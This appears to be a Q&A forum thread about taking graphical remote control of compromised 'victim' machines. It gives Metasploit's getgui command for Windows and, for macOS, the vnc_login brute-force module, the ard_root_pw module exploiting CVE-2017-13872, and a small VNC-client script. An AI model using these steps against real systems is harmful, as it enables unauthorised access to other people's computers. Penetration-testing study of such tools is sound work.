If the exploited victim OS is Windows, metasploit has the getgui command to run RDP. Then he can manipulate the victim OS through the GUI desktop interface.

meterpreter > run getgui -u loneferret -p password

(documentation)

  • Is there a similar one-command to setup tool for MacOS victims?
  • I know MacOS doesn't support RDP but maybe some metasploit / evilosx modules to set up a VNC connection?
  • Or I must do it manually without easy to use scripts?

Q1: Is there a similar one-command to setup tool for MacOS victims? .. or maybe some metasploit / evilosx modules to set up a VNC connection?

You can try to use vnc_login auxiliary scanner to identify if there's available VNC in target and attempt to login with a password or a wordlist:

msf > use auxiliary/scanner/vnc/vnc_login

And/or ard_root_pw to remotely exploit CVE-2017-13872 over 5900 port - if requirements are met:

msf > use auxiliary/scanner/vnc/ard_root_pw

Some notes by ard_root_pw's author (jgor):

This extends Rex::Proto::RFB to support usernames, implements authentication security type 30 ("Apple Remote Desktop" / ARD used by macOS), and uses that to add a module to remotely exploit CVE-2017-13872 over 5900/tcp on vulnerable macOS High Sierra hosts that have either Screen Sharing or Remote Management enabled.

(source)

Q2: Or I must do it manually without easy to use scripts?

If you already have access (w/ shell or meterpreter) in target, you should consider that Apple includes a VNC Client by default, you can use it with a simple bash script:

echo '#!/usr/bin/env bash' >> /usr/local/bin/vncviewer
echo open vnc://\$1 >> /usr/local/bin/vncviewer
chmod +x /usr/local/bin/vncviewer

After that, simply use: vncviewer [IP]:5901

(source)

Your Answer

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.